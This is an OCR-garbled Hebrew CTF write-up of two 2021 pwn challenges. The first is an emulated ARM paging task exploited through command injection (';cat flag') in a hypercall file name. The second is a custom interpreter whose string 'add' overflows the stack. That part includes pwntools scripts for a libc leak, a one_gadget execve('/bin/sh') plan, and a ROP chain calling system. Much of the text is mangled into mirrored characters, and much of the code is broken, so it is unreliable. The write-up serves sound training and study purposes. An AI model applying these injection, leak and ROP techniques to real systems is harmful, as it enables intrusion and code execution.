nNY? I GROUP_PERM_USER Dy nxip 9'oin? ,GROUP_PERM_SUPER-? self._curr_perm nx

NYPTOINIR Y¥AT NY7¥NYT DX LRT .NNYEN NXIAPA YN DR

.DN7RWY 110 ,n71yn n7Rw ?flag-n DX 2'win? 117 11y 0T 'R ?HyperCall yin'? nxnaw nn? 7ax
7¥ deactivate-n N"¥j719 NXI ,Paging-n NN D'2ONYW Yadd - N¥7 1N 'Y W' HyperCall-7
MMUn NNTANNN time_activated-n XIN yalzn DYWI ,Yalzd DNTANN DX MNIwY HyperCall

XN NMIXa ,os.system-'? NN NIYXNK] NYX2nn

self. open process (
ECHO +
f' "{hypercall
INTO FILE +

] ] +

STATES FOLDER +
os.path.sep +
f'{file name}'")

2D N'RI1 NINTANN 7 My NTIpov [ X'T

echo > user states/{filename}
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:file_name-n NI'n? " TIAnw ,time_activated Nx Nnw7? 117 Mnw HyperCall w'w DA Nn

elif idx == 14:
print ( )

hypercall settings['time activated'] = argl.decode (
ret = 0

Command yx¥2%7 0'713' 1INIX ,time_activated 7y D'071W 1INIX DX ?NNN "IXY N DX D'RKN DNX

- ";cat flag" nTnNnn NX time_activated M2 o'wa ox X" In¥Iw ATIRo 7D yNin'71 Injection

© hanx¥n

echo > user states/;cat flag
u¥a? n'¥n71 Paging 'wvon? DM NNIX ..0T2 DY7IW0Nn TV Wt in At X7 a0 1A
.NY'OININ
7'M Q71X

T ,Paging D'7'WON 1INW VAN :NNAN NNIXA NIFT'OY NIZNIVA' NIAIMD |2 DANN Paging-n (12210
-1 DN DTN DI9TAWD LMINILA [ND'T 2NN Y YKn o Unicorn-w ARM-n

.Paging nj?7nn2 self._physical_memory

NDNAE NYRIVYT K'D DNTA NAMDA L'WY NAMdN AXIN/NAMI/ANMP NYYannw yaa
-¥ N'T'ON NAIMDA NNYMIY ,Page directory-n NIYXNNA NN'RNNA NIT'ON NAUNDY ANIXK NNANN

;Y yaaxn TTBRO

:D'VOSIN 3-7 NNIX NP7NNI (D'V'A 32) N'IXRIVYIN NAUNDN DX NNRI7 N'DNN @

PDE index (10 bits) | PTE index (10 bits) | Offset (12 bits)

nx7nni ,n"7y yraxn TTBRO-w N'T'OSn NAIM>A NXXNIW 0'-PDE-n 7w 07207 nd7In X' ,nyd e
.0'-PTE N720 n7'onn N'T'9 N2IMDY yaxn y?inw PDE-n .PDE index-7 n'kxnnn PDE-N NX
Y72Inw PTE-n .PTE index-7 n'xnnn PTE-n NX n¥7nnl D'PTE-n 7w 07207 nd7In n'dDNn e

1N NYAT 1'01W IRI0YYN [ND'T7 NN'RNNN NT'ON NAINDY Yraxn
XIN/NAM/NRNP? N2 nwaa TR, Offset-n DX TN NT'ON NAIMDY N9'0IM N'IDNN @
AT N ey L 1maa Nt
;022 NN PDE/PTE e
PFN (20 bits) | Unused (7 bits) | NX (1 bit) | Dirty (1 bit) | Accessed (1 bit) | Write (1 bit) |
Present (1 bit)
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DN7Y NIYNWNN NN .00 NN [KD W' e
N'T'ON NAND7 Yy ax¥nn XIin PFN - o
TI7 1ImMn yn'? N1 X7w X' ,NotEXecutable XIn [IND'TN WTRY 'mon NX o
PDE/PTE-7 Nwa7 0'011I NN 11AY NAINDN DIANN DX D'YXINW VA2 77T Dirty o
oyn TIV N7V VI9IY ,validate_entry_ n'¥j2192 NnwNINN Np?TAN =
NAIMDN DIAN 170N PDE/PTE-7 nw'a 701 77TIn Accessed o
_validate_entry-2 p7Tm van a1y =
[IN2'7T7 M7 [N DRN 'mon Write o
P11 L2177 X7 0N DX Y9N NWAT NI OYp 0N 17y T'oN [ND'TNY 7non Present o
NNX DX NjP'05N N'dNNI Page Fault

:_validate_entry n'¥j72190 NX1j71 ,PDE/PTE-7 nwra'Da e

(self, Pentry, entry, prot):
entry.accessed =
if prot == self.WRITE:
entry.dirty = 1

entry packed = entry.pack/()
self. write memory (Pentry, struct.pack , entry packed))

if entry.present == 0:
raise OSError (f"Error: trying to resolve an unpreset address
{entry packed:x}")
if prot == self.WRITE and entry.write == 0:
raise OSError (f"Error: trying to write to unwriteable address
{entry packed:x}")
if prot == self.EXEC andientry.nx == 1:
raise OSError (f"Error: trying to fetch instruction from no-
execute address {entry packed:x}")

PDE/PTE-n NX N1TYN ,n2MdA dirty-1 Nnw'Ad accessed 7w D'0'AN NXK NP7 X'NY NIXYYT N1
.Exception 7M1 - X7 DX .NAMD7 NwaAN 2107 D'MA'RNN D'0ANY NRTIA TR L'T'ON |ND'TA

.YI'1'7 N2'Ynn N'DNNIL,NARAY NYTIN NO9TIN ,;main-2 09N1 Exception-n - 721 DX

:NAN TIpPN DX N7wa Paging '7'w91 INIQ TR ,N'7NN

/* Enable paging */
svc 0;

svc 4;

exit;
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Map,ym

Enter armv7-a code, terminate via 'exit' line

ent call la :
<top/CTFS/2021/ bak/pwn/paging/paging/paging.py", line 158, in v_to p
. , prot)
p21/shabak/pwn/paging/paging/paging.py", line 142, in get pte
truct.unpack("<I", PTE)[8]
struct.error: unpack requires a buffer of 4 bytes

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
ctyp callbacks.c", lin , in ‘'calling callback function'
ocal/lib/python3.7/site-packa unicorn/unicorn.py", line 495, in hook intr_cb
intno, data)
File "main.py", line 69, in hook intr
proce :
File 00 = op/ S/ f or.py", line 4@, in activate paging

<top/CTFS
v _to p(v a
/pwn/paging/paging/paging.py", line 162, in v to p
or(f"Error translating virtual memory {v_addr:x}")
L r translating virtual memory 4000
0x4004: andeq re, re, re

PANTAYN DD N7 N7 ?0n Lva0 'maan X7 Pnnimm

,Page Table-2 D17 'RW |10 ..."7X107' [ND'T ANN2 YN7 170NN TR ,Paging 117V90 ,nnnnnnX

NAWN DR 11727 TR, NT'O NAUNDY7 0x4000 NY7RIVIYN NAIMDN DX DAONT7 ANYYN K7 NRONN

OSError: Error translating virtual memory 4000

.Ta1y Paging-n 7'X 1120 12),117TN7 .17wn Page Table |20 D'2M¥ NNIX TR ,"7IR

/* Set Up Page Directory @ 0x5000 */

/* Make our ARM code (@ virt 0x4000) valid after activating paging */
/* PDE @ 0x5000 pointing to a PPTE @ 0x6000 */

mov r0, 0x5000

mov rl, 0x6003
str rl, [rO0]

0x6010

0x4003
[x0]

0x5000
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- armv7-a code, terminate via 'exit' line

mov ro, #o0x5000

movw rl, #0x6003

dg rl, [ro]

movw ro, #0x6010

movw rl, #0x4003

str rl, [ro]

mov ro, #0x5000

SVC #3

TTBRO to 0x5000

y¥a7 N'xn% 0 7 aRwl .07Iyn DR oMpm X7 19w Tignn LPaging ''won? nnxn n71yn

I BNTHR TP

DY N¥XAp 9'oin? n¥11 ,GROUP_PERM_SUPER-7 self._curr_perm NX nnwY 0'xin NNIX 1212

JINUPN XA WD DR NIRWY IK GROUP_PERM_USER

X MwNY TP 'R D ,(Paging-7 vayannw MY ,Table IX) [N71wnn NTIF AW DIIWRIN DXOIRN
T'ON QT2 NNIMY NNTAND DNTANN DR NRYY NI017 7w n'¥oIXN Oy 21 110nn .self._curr_perm

.0x0 N'T'On NAIMD7 N7 NN X' n7w nonnw X"T - 0x0

ININY NN DWY? 2mdal ,Paging-n NX N221 ,0x0-2 1aN2' NNTann ,Paging 7'vo1 vIwo TINn 772
lnyin
QTN NX (??90> T¥2 MNIY) T¥2 NIV 121N ,Paging-n NX 0'7'vonwd @ Taly X7 NTY ,INT TX

.NTN QTN DX TN KIN ,Paging 02N L|IYKIN 'T'ON

NAIND N95n1 VIV IN'T'S NAIMD7 N'7XRIVY'T NAMNDA DIANN 7Y D'07IY INIR INwTh NI 'RIR

lnwn X7 MY 7311 TR1EL,0X0 N'T'ON NAINDY "7 NRIvTY
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NAMDNY NXTHIN ,N'T'D NAIMDT7 NYIXRIVYYT NAIND NNANNY L,v_to_p N'¥j1190 .Taly X7 N1 02

:HyperCall-n 7w niNTan%? nyaaxn X7 n'r'on

def v to p(self, v _addr, prot):
try:
PDE self. get pde (v _addr, prot)
PTE self. get pte(PDE, v_addr, prot)
p_addr = self. get p addr (PTE, v_addr, prot)
except .error:
raise OSError (f

if HYPERCALL PAGE ADDR <= p addr < HYPERCALL PAGE ADDR + PAGE:

raise OSError ( )

return p addr

2511 [NN NNNA DX AR, NT'D NAIMDY NANDPY ,_write_memory DY NA'MD 72 woN1 XYl Nn

.amdn 7y oi7wh

! validate_entry-2 NX™ na'mo v

def validate entry(self, Pentry, entry, prot):
entry.accessed = 1
if prot == self.WRITE:
entry.dirty = 1

entry packed = entry.pack/()
self. write memory (Pentry, .pack ( , entry packed))

:1910.1.1.2.11'910 N'910N N'DINN NIN TN

-0 7Yl accessed-n 7w VAN DX P7T ,NAMDY WA DIAONN L0 N'T'ON NAIMDY7 vaaxnw PDE ¥

10 naIn>Y v AMd7 NYxNI L dirty
...0D'0 Y P DR 07TV N7 R,V

:DIYN 1INIX D'V 17X 221, PTE-N 71 NNTANN 7w N1ann 7y 21w 7Ono)

Struct (
/ Int8ub,
/ PaddedString (LEN OF TIME STR,

/ Array (this.groups, Struct (
/ Int8ub,

PTE

PFN (20 bits) | Unused (7 bits) | NX (1 bit) | Dirty (1 bit) | Accessed (1 bit) | Write (1 bit) |
Present (1 bit)
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,HyperCall-n n1nanw X"t 113-7 1-n groups NX 7*Ta'w nn ,dirty-1 accessed NX D'?'7T 1NNIX

N1 0 10-7 "Tamw ,group_perm ' MIWYXIN NXIAZN DX NXAR 7D M2 nixnp 13 v rwdy
NN 1127 NN NIMNRNAN NIRYINN OV XA 9oIn7? 1nn¥n X"T - GROUP_PERM_USER

910N UOIPON NIN !n'xp'm:nm yxaYi ne'1an

import struct

COMMAND =
COMMAND_ADDR = 0x4200
instructions
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cmd =

for i in range (0, len(COMMAND), 2):
cmdbytes = struct.unpack ( , COMMAND[i:1+2].1just (2,
cmd . append (
(cmdbytes, COMMAND ADDR + 1))

cmd = '"'.join (cmd)

instructions = instructions.format (cmd=cmd, cmd addr=COMMAND ADDR)

print instructions

with open('code.arm',
f.write (instructions)

:flag-n DX V992 72721 , MY TIPN IR DY)

flag{Pr0c3550r_bu65_ar3_th3_b357_bu65}
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Python4 :nanxn nv

600 :TI"M

Welcome to 2021! We decided to follow tradition and start
working on the next python version.

Don't worry, we made sure no vulnerabilities are exploitable,
using modern mitigation techniques.

Have fun running your scripts!!

nc python4.shieldchallenges.com 7400

NN

,(MYXY? ,IM19Y%7 NNIT X7) NRYAIM NOWA NITIPD YN Interpreter wnnnn X1 D'7apn 1K
.C-2 anow NI INIKY pmn TR DN Interpreter-a yn? NI 0907 XNAIT
JUINMND Nnonn? napn naonn NIxtnn - Shadow Stack NXAPIW Naan DY 79n1p MNIAN
NI¥PAI9N DTINY YA NNYA X7 [AW KTH? A0 [N 1an 2y ,00Thin DIAMD DX 7Y n'7'onn

.(mmonnn 7y Buffer Overflow 7722 ,xna177)

.Shadow Stack-7I m'mmxn n1aoNn? qNTN NITAN NAND LAY ANI97 akpaY X7
Shadow -aw NM>Y7 NHYIN N'MMKXN N0NNN 7UW NITAN NAIMD ,N'¥71190 NNIKA NTAN 1197

.N7¢ XN DX NP'095N N'1DINN - NNIY NAIMDN DX .Stack

19'01n1 ,fsanitize=shadow-call-stack '7aTh NX 7190'p2 19'010 ITh N1ANn DX 7'wvon? nin Yy

:'7X2172 1Wn 1INA shadow stack-n X NTANT NONN NZ'NNA XY D719

___attribute ((aligned(16))) uint8 t SHADOW STACK[4096] = {0};

CONSTRUCTOR ATTR NO_ SHADOW STACK ATTR initiliaze shadow_stack (
{

arch prctl (ARCH SET GS, ( *) SHADOW_STACK) ;

J1DNN 2V TIY TING'? N011 .0NP 7D0Y IR NITA NIAND 0NT7 17 1I0KY AR - 217an ,ND TV
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?Ta1Y Interpreter-n 'X

-0 NIX instruction DWA struct-7 02001 ,MIY-NIY 10191 ,NNIYA NIND NIX 72jm Interpreter-n
10090 WNKRY L(N7RD W' DKR) NTIRON 7w DNUNISN DRI NIYN ANIKA NTIR9Y7 D'RNNN type
YNN? D19 7w DY 100190 UDMPO N7APNY L execute_interpreter_function N'¥RAI9N DRI
Interpreter-n ,YN'7 D"'0 VOIPONYW INXK7 ."Main" MK YN N7'NNNY NMIYKRIN D'Y190 .10
NN NI7IYS Y¥A7? N¥11 DX, )Y7NN MR KID Y7NNnw KT - o1 U9MP0 YNIinT 117 TWONN

JINT NIYWY7 [N A, (DA D971 IR [ND'T W 0T ,XNAIT?) DRIY D'U9N{70

N'Y¥7219N .execute_instructions 7ITINA NA'RNN YYD W DTIRD 727 ?PNITIRON DY )N N0
D'label NX'¥xN%7 wnwn) NITIE9N NNR'WN DR 700 interpreter_script_t 019'0N VINIAIX N3N
N72pNn NYAISN LN'NDNN NYAI9] NTAINY DY7RPI7N Dnwnn N (Control Flow Nimipoa

.NTIPON NNIX 7W DVNT9N DX 7'JNY interpreter_instruction_t 019'0N ,9011 VINIAX

JNITEON ¥ N1ann NX N2IV NNIXa DTN I]'?J'PU NQAIT? 0U9"pPOoN

def argl 0xO0

def arg2 0x0

load argl $O

load arg2 $1

def prod 0x0
one 0xl1

mul loop

prod prod arg?2
argl argl one
argl mul end
mul loop

mul end

store $0 prod
ret

main
def a 0x6
def b 0x7
store $0 a
store $1 b
call mul
load a $O
print a
ret
ol
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:0N'oa
Control Flow e
Nope! no'sTn -nop o

call IN jmp y¥2'7 "WON I''N ,name Dw2 label N'Tan - label {name} o

o

label-7 nx'op - jmp {label}

label-7 N7 - call {label}

(0]

N'DNN 7Y NoNNd NUNNWnY ,execute_interpreter_function-2 nwnnwn axpn =
(interpreter_local_vars_t 2100 NINwn) UTN VOFZLIIF NIX"7 ' T
N'YI9N TIN - ret  ©
-2 DAY NN INSTRUCTION_EXEC_CMD_RET n'tnn =
DITNYE NNTIRN D'Y2190 7w DORLIIPN NX WTNYWYT execute_interpreter_function

var == 0 DX label-7 n¥oIj7 - cbz {var} {label} o

NMAYN NIV e
var_1 + var_2 7w 1a'nn W NX dest_var-2 nniv - add {var_dest} {var_1}{var_2} o
NITNNA MY IX D7 DN950N W 2y NTaly - =
var_1 - var_2 7w 110'Nn W NX dest_var-2 NNniv - sub {var_dest} {var_1}{var_2} o
NITNNA 'MY IX D7 DMN950N W 2y NTaly - =
var_1-7 nuw var_dest ,nINX .var_1 7w NnI'o X'n var_2 DX Ty NitTnnn jaaion .
D'"72172 DVO'AN e
reg 1IN2AY VN NX var 1901 019'0N NINWNY? VIV - load {var} {reg} o

1901 019'0N NINWN ,var JINAY VN NIX reg 100" A7 VIV - store {reg} {var} o

D'INYN e
val 17Wn oy var_name Dwa ninwn 1an - def {var_name} {val} o
NTNNA IX "' TROPN 21X 190N NIFfn? 71>t val =
var_dest N7 var_src N2 W DX 7'Nyn - mov {var_dest}{var_src} o
var 7w |DINN NX 0'9n - print {var} o
v x¥nmw flag-n DX XNP7 720 T TR .0M0DN DR X7 AN Q¥ DTN DNANKA DD
0PN AR IR flag-7 DT TIPA 'R 0TI DMANKR NNV ?1IR1AN 1D YRR NNIKA NNYN

flag-n DX RNP71 TIR DN A'WAT7 ,NNIRI DWRIN 717 10X DY9NW IRIDD
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1AnY 2NXN shadow stack-n X NXNA1 200 Nxpe p1an HIDA-N 7R 1Nax 771,571 X721 NNy 'wanl

N9 D Y

__addgsqword {0, 8ulL):
__writegsqword(__readgsqword(8), (unsigned _ int6a)retaddr);

= (void =)__readgsqword{__readgsqword{8));
__writegsqword{®, _ readgsqword(8) - 8):
if { retaddr %= v7 )

BUG() ;

anp T8I ,8-2 shadow stack-n 7w [I'7Wn P7N7 VODIRN NX 7"TanY - 2INNRN XIN [IYRIN 7700
X shadow stack-nn D'RIP - N'XAIDNN NITN NP'TAN KIN WD 2700 .0NTNN NAIND DX WY

N0 - NINt N7 |n DX .n0Nnn 2V NINYNMIW NNXYT DNIX DIYAL,NMIMYN DT NAIMDN

IN¥N] DXI IDA-Q NNIX WON) ...117W N1DNA 7821720 N TAIN shadow stack-nw DT 1INIX

bss:00000000000088298 ; uint8_t SHADOW STACK[4096]
bss:0000000000008290 SHADOW_STACK db 1008h dup(?)
bss:00000000060609290 public interpreter_regs
bss:00000000000089298 ; interpreter_registers_t interpreter_regs
bss:0000000000009290 interpreter_regs interpreter_registers_t <?>
bss:006060000606669298

..va
!|"JUYJ INYN NS IXXN ...ya1 yaa yan

N0 MIXA N'Y197 K171 OX 0721720 DNVO N7 NP NN

main
def a Oxdeadbeef
load a $0
print a
call main

ret
n

[1] 14234 done cat examples/crash.interp |
14235 segmentation fault ./python4

NN TIV N7 ,n0T7 X'nw 197 72X Thotp ntonn noin
variable: 'a value: 0x0
variable: 'a value: ©x55748e4501T8
variable: 'z value: Bx55748e44Ta45
variable: 'a value: @x55748ed44ta4db
variable: 'z value: Bx55748e44Ta45

variable: 'z value: 8x55748e44fta45
variable: 'a value: Bx55748ed44Ta45
variable: 'z value: 0x55748e44fad5
variable: 'z value: 8x55748e44fta45
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0'71>' INIXRY MIX 0T Ishadow stack-7 qnTw natnn DIvNn TNRY NInwn $0 '7xa17an F0o0AN
wnnwl viIvo loNph "2 naTn NIAMd oNT? T 17 W'yl NN 7Y NAIMdN DX 99 TRY NI

17 punnnw Y 7 shadow stack-2 0'w 1D store-a
.ITN NN 0NT? T RIXAT DDMY NIX 1'WIY .A71VNn A7NNN L, 7IR

ONT7 N7 CWON'Y AN 1A N'N'W 110 D oMmn - NITNNNA NIPOYNNY NITIPZON 75 7w

YR AT NITNNN .n\onnn 2V DWW

?ANQN NX O'RN DNX DITNNN 1Y add NTIRoa ['Mavn INwn 'MRxn ,Tipn 7V 7ayn N2 nx

interpreter var t * dest var = find var (script->local vars,
instruction->operands.add operands.dest var);
interpreter var t * opl var = find var(script->local vars,
instruction->operands.add operands.opl var);
interpreter var t * op2 var = find var(script->local vars,
instruction->operands.add operands.op2 var);

* opl str = opl var->var value.var value string;
* op2 str = op2 var->var value.var value string;
* dest str = dest var->var value.var value string;

dest var->var type = VAR TYPE STR;
if ((strlen(opl str) + strlen(op2 str) + 1) > sizeof (dest var-
>var value.var value string))

{

puts ( )i
return INSTRUCTION EXEC CMD ERROR;
}
strncpy (dest str, opl str, sizeof (dest var-
>var value.var value string));
strncat (dest str, op2 str, strlen(op2 str));

D'¥N DX M NN IX9Y INT TR 0K 72, NIMRNIN NI DY L,'N'01% DITNNA 1IN 1M AR
20 X1 L,ND TY var_2 DX var_1 M7 p'ny* strncpy-n ?add var_1 var_2 var_1 nTIpon NX
V20 72X .m'0"a% K11 DA NTY var_1-2 NTNNNRN DX var_1-2 'y nn I an' strncat-n .70
LJIUTNNNN DR 7W ' Tan AR NMINWN var_1 .var_2-1 W'y nn DX 21I'T2 ?var_1-2 2D ¢ nn
,var_1 =var_2 + var_1 niwy? nipna Intnnnn w "nopnn 7T71Ian 72un onNT? 17 WZWOKNY nn

lvar_1=var_2+var_2 II'Uyy KX

?77032 0'oNIT INIX AN LR
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0I9'UN DI ,execute_interpreter_function N'¥j71192 NoNnN 7y DMTAINM D'YNPIZN DANWUNN

.01Mwn 32 7w 7wn vIYS NTY interpreter_local_vars_t

typedef interpreter var s
{
var name [VAR NAME MAX LEN];
interpreter var type t var type;
var value u
{
var value string[VAR STR VALUE MAX LEN];
int64 t var value int;
} var value;
} interpreter var t;

typedef interpreter local vars s

{
interpreter_var_t vars [LOCAL VARS AMOUNT] ;
} interpreter local vars t;

117U NOMITN YN X7 NIRYYT "D MYORN "M'opnin 7712 INNKN NINWNAN NIX 0INT)

35

label main
t0 0x0
tl 0x0
t2 0x0
t3 0x0
t4 0x0
t5 0x0
t6 0x0
t7 0x0
t8 0x0
t9 0x0
t10 0x0
tll 0x0
tl2 0x0
tl13 0x0
tl1l4 0x0
tl1l5 0x0
tle 0x0
tl7 0x0
tl18 0x0
tl9 0x0
t20
t21
t22
t23
t24
t25
t26
t27
t28
t29
sl
sS2
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file: /root/Desktop/CTFS/2021/shabak/pwn/python4/pythond4/src/interpreter.c
124

125

126 script local vars previous context;

127

128 cleanup:

129 return ret;

130

131

132 int initialize local vars(interpreter local vars t vars)
133 {

134 fo size t i = i NELEM(vars vars); i)

:0000 | rsp Ox7fffffffde38 «— 'AAAABBBBCCCC'

: 0008 Ox7fffffffde4d «— 0x43434343 /* 'CCCC' */

:0010 ox7fffffffde48 —» —» «— 0x1400000000000000
:0018 Ox7fffffffde50 «— ©x2300000000

:0020 ox7fffffffde58 —»

10028 Ox7fffffffde60 «— Oxd /* '\r' */

:0030 ox7fffffffde68 —»

:0038 ox7fffffffde70 —» «— 0X7300310000000000

555555556cf0 execute interpreter function+672
4242424241414141
43434343
5555555684b0
2300000000
555555568db0
d

55555555c0e8 instruction definitions+8

555555568db3
78

“h =h =h =h =h =h =h —h —h —h —h
HOONOULWNMHO

A g g g

112N 12d 72N ,shadow stack-n 7222 nopw |amd lIMNX Xaw nnil DT W DX ONT7 1INY¥N

AMO AT PNy

,NNAIT?) 117 ATYT NI7D'W NIYRAI9 KA K7 IN1MNY 7722 . N'oX7R nwnwn 72 md ?AR7N Nn
D'™710' IR .DWUN D'VATRA WNNWN? 220w man 7y Llibe 7w namdn nx 9717 nxna L (system
TNX O'TINY ,N0NNN 7V D'R¥NY DINYUNNY 11'KY IN2IMd 9% Tn% Nin 7y akan INIKA wnnwny
> AN12 wnnwl VAR_TYPE_UNDEF == 2 X7 NIN 17¥ type-nwd "Tam" awn1 ninwn w9
2y .n1tnnnn 9102 NULL-n niy¥nxa VAR_TYPE_STR (0)-7 type-n NX NNWY N 7y 7'oon oNT1?

.NMINYUNN 7¢ DWN DX DA 0N , TN

N'NY '9) N¥IN DX NI NAI0N NIXA NIZRY NIn 7V 117 1IN libc-a wnnwaw awn Nt 27wa
N12N X7 ,17¥X nTavw n97Tw X"T - naw stack layout WMa7 n'71>' nuw libc ol .nwa

vn 7 Tvn
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TV ,NI0NN NMIYW TR 97 TNY NIn 72V Dyo 701 NIY 2RPI7 NINwN 0NT? NoINY TIZ QINd)
MW X7 07w DXNN 1 NNT 7Y Isb-ni ,Mwa DA 73R D2 N971TY libe 7w naimd vy

from pwn import *
from binascii import hexlify

def () s
p = remote ( , 9023)
return p

(num_temp) :
payload = ['label main']
payload end = ['def sl \AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARD
'def s2 "B"',
'add s2
'print AA
|} ]feLl ]

for i in range (num_temp) :
payload.append ('def temp%d OxDEADBEEF' % 1i)

payload = payload + payload end
return len (payload), '\n'.join (payload)

():
global p

for i in range (0, 32):

p = get process|()
1, payload = gen libc leak payload(i)
p.sendline('\n'.join([str(l), payload, 'n'l))
p.recvuntil (
leak = p.recvuntil ('"'") [:-1].1just (8, '"\x00")
if len(leak) > 8:

print i, + hexlify (leak)
else:

print i, hex (u64(leak))

test leaks|()

[+] Opening connection to localhost on port 9023: Done
23 Long leak: 5a5a5a5a5a5a5a5a2020202020202020202020202
[+] Opening connection to localhost on port 9023: Done
24 0x0

[+] Opening connection to localhost on port 9023: Done
25 0x7fad467cedod

[+] Opening connection to localhost on port 9023: Done
26 Ox0

[+] Opening connection to localhost port 9023: Done
27 0x0

[+] Opening connection localhost port 9023: Done
28 0x0
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-7 gdb 111 !d0d-2 nn*Nonw NaIM> 07270 X DY DAY XY - NWN 70 N¥N DY DY) DRI
7¥ N1'yun NamMdn NY pnnnY libc NAIMD DR NXTY NXNE POC-n INIXK DX 0W YN ,docker

.Ox7ffff7e72d0d - Ox7ffff7dd3000 xiIn libc

S 9 Nt TR D N7 [amd PN TR ,one_gadget W'l ,nONT W' N9Y7T W n7NN
NIVXNN] NNIX KI¥N? CWWOKN .shell 072 N7 0'xo1 OXW Llibc-2 DO NAIND NNT one_gadget
J'WDY N'9YO0 .NIXTT7 0N ININY O'NIN W' - NTAIY TN X7 X'NW N'van .one gadget 750

execve("/bin/sh", ri15, ril2)

ris NULL
NULL

:17¥ NOMTN NN 7K

0x0
0x4141414141414141 ('AAAAAAAA')

0x4343
«— Ox23 /* '#' ¥/
«— 0x3

0x6

Ox7fffffffddc8 «— 'AAAAAAAAAAAAAA/

0x0

0x4141414141414141 ('AAAAAAAA')
0x4141414141414141 ('AAAAAAAA')
0x4141414141414141 ('AAAAAAAA')
0x4141414141414141 ('AAAAAAAA')
0x4141414141414141 ('AAAAAAAA')
ox7fffffffde38 «— 'AAAABBBBCCCC'

N7 noMTAY n'wan .rdx IX r15-1 r12 NX 09X7 DY 1'A TR L7702 D'07IW K7 1INIX rsi 7y
nnIXw 0'Ma o'NULL o'W 7211 X7 D7 ,strncat, strncpy - NiTNNn 7w Nirx219 7y nonnon

.D'oNIT

TV N72VNY NN L0'0NIT 1INIRY D'DIVN YA INWI'R WNNWNT? n¥1Iw X"T .one_gadget X7 TX
D'NX¥N1 NIINDN 7w 0'Nan 8 JINn 6 71 ' ,9101 0*NULL 7'oN nonnn 7y 0'waw naimnd 7 :nwa

vimn'va
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120 XN N7Y DO TRV XY X'T

AAAAAAAAAA [BBBBBB\x00\x00] [CCCCCC\x00\x00]

XY NTNNNN y¥xnXa NULL 0'w? QwoR 'R D NMRINIM0 DX 17 van 070 X7 nnax 7ax

NN (1) NoMIT K" 20'0NIT INIXY NTNNNA NIX X1 TN ,NNN 0NTI OX AN .AN'K D'ONIT
AAAAAAAAAA [BBBBBBBB] [CCCCCC\x00\x00]

(2) ™
AAAAAAAAAA [BBBBBBB\x00]

((3) 1> i
AAAAAAAAAA [BBBBBB\x00]

atral ¢l
AAAAAAAAAA [BBBBBB\x00\x00] [CCCCCC\x00\x00]

NNIX NX D''NyN X - AIT NIDN2 XN N0MTN 7w IRD D, TIAy' X7 Xinw 1 Inzivn N

.(2) nx y¥a7 01 X7w X1 .var_1 = var_2 + var_2 .0'"ny9 n1onn? Ntnnnn

171 ,(3) Nk ™ (1) DX 7 NwY) DX
AAAAAAAAAA [BBBBBB\x00B] [CCCCCC\x00\x00]

?117 20N Nn ?A7 7Y 02NN 'R NRT 702 .10 K7

1(2) nX Yy¥27 772w NITNNN NONNY N'¥7119] WNNWNY7 TWOX

* opl str = opl var->var value.var value string;
* op2 str = op2 var->var value.var value string;
* dest str = dest var->var value.var value string;
dest var->var type = VAR TYPE STR;
size t len to copy = strlen(opl str);

if ((strlen(op2 str) <= strlen(opl str)) &&

(strcmp (opl str + strlen(opl str) - strlen(op2 str), op2 str)
{

len to copy -= strlen(op2 str);
}
strncpy (dest str, opl str, len to copy);
dest str[len to copy] = '"\0';

N DN 0N TR var_2="B"-I var_1 = “AAAABBBB” XnaIT7 ,var_1 7w 101 X¥N1 var_2 DX

var 1 - var 2 = “AAAABBB”

NNU™MYA D'RYMIY r12, rl5 NX 09X7 TWON .TAIV N'N one_gadget-w NI'N? 715' ,ntn 17wa e
TNT2 'MNND MANKND 17001 L [IYRIN one_gadget-2 WNNWNT? 1710'W NRN1D TXI ,sub NIV¥NNa

© N'1I|7'7 2'22N) 0T DX V'RWUN IR TX ,NNONKR
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NaINdN 7nn nonnn 7y NNU™MYWA 0DAY W YW L,N0NT W N T v 0-NULL N7 v ot 2%vwa

?N"0NN NIAIND MY 71 DY D'NXIN 'R At Sheinh

7wal Llibc-n pop rsp 7w 0'ATRA DY ONTI NOTNN W NIX WA D71Y2 0'0'ATRAN 70 R Wt libe-Y
X7w 712 ,stack alignment 7y Dniv nxw 17 0'wh W' . 0721720 000NN NAIMND D'W1 INNKY

0IYS ,'NY7D mov xmmO NTIP9 7V D' NNIX DX - alignment [N 77 .SIMD NITIZ9n 0N

.0'M2 8-2 NI' NNIAA NAIMDA N1I0NNN NN D)

IINY NIAMDN 72w R"T ,Awn MNX TR D'09M70 NND NIYYW? C"WORY 101 lwinma 7'nnin'? ©wox

DpIin NRY? D'9'7 N

1voM0 e
ANoSTNI naonnn 7y NP7 nanwn qirt nivynxa libe Yo namoh nx ttm 1

JTAY TN X7 1ITh N9 Tnne ' ,NYVIY [IUXRIN QTN NT

20910 o
UKD NNYM NN DR'O9NY N'0NIPY A9 NIVYAN] MINI'AN 7@ mamdn nX qitm 2

.00TIY 00 AN NX 97T TXI ,shadow stack-n *T* 7V 0'0N T D"721720 DVO AN

309170 o
.0M0V0 N 7w NITRY? Yar shadow stack-nw TV Axa197 NIMAoNIpY NINNMjE Yyl .3
.store NITIPO NIY¥NXA D"7217a0 DMVO'ANA 0DYY AN 4
.0N7Y NIMdN DX D'WYTI' IR ,"IX1AN 7Y NAIMdN DX N97ThY [1n *
JDNIPNRN NNTNN NN DX AN'R 0NT? D'TAIY 1IIXY ANTRA NAIMD NN 2D .a
.(cat flag) yn'7 o'¥xN NXY aTEon nx amd b
YUNnd N1 WNNYIYW Nonna NX D1 .C
pop rdi; ret; .i
cat flag 7w namon i
system il
(1) nnwxID DOMITA NX VX1
(2) sub NnTIPO Niy¥nxa 0'8kNNN DI NULL o'en

(3) n™mwn no"Th NX y¥a

o N o W

NNU™7YA NITNN NAIMDY TNNY ,ret NIVYXNN] n'XMIonan ITn
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from pwn import *
from binascii import hexlify

REMOTE HOST =
REMOTE PORT
BINARY NAME

binary = ELF (BINARY NAME)
if args.REMOTE or args.LREMOTE:

libc = ELF('./libc-2.31.s0")

else:
libc = ELF('/1ib/x86 64-linux-gnu/libc.so.6

():
if args.REMOTE:
p = remote (REMOTE HOST, REMOTE PORT)
elif args.LREMOTE: B
p = remote ( , 9023)
elif args.GDB:
p = gdb.debug (args=[BINARY NAME],
gdbscript=GDB_SCRIPT,
env={ 3

process ([ , BINARY NAME], env=

(num temp) :

payload label main']
payload end = de \

for i in range (num_ temp) :

payload.append('def temp %d OxDEADBEEF' % i)
payload = payload + payload end
return len(payload), '\n'.join (payload)

LIBC LEAK OFFSET = 0x7ffff7e72d0d - 0x7f££££7dd3000
def () :

global p

no leak = True

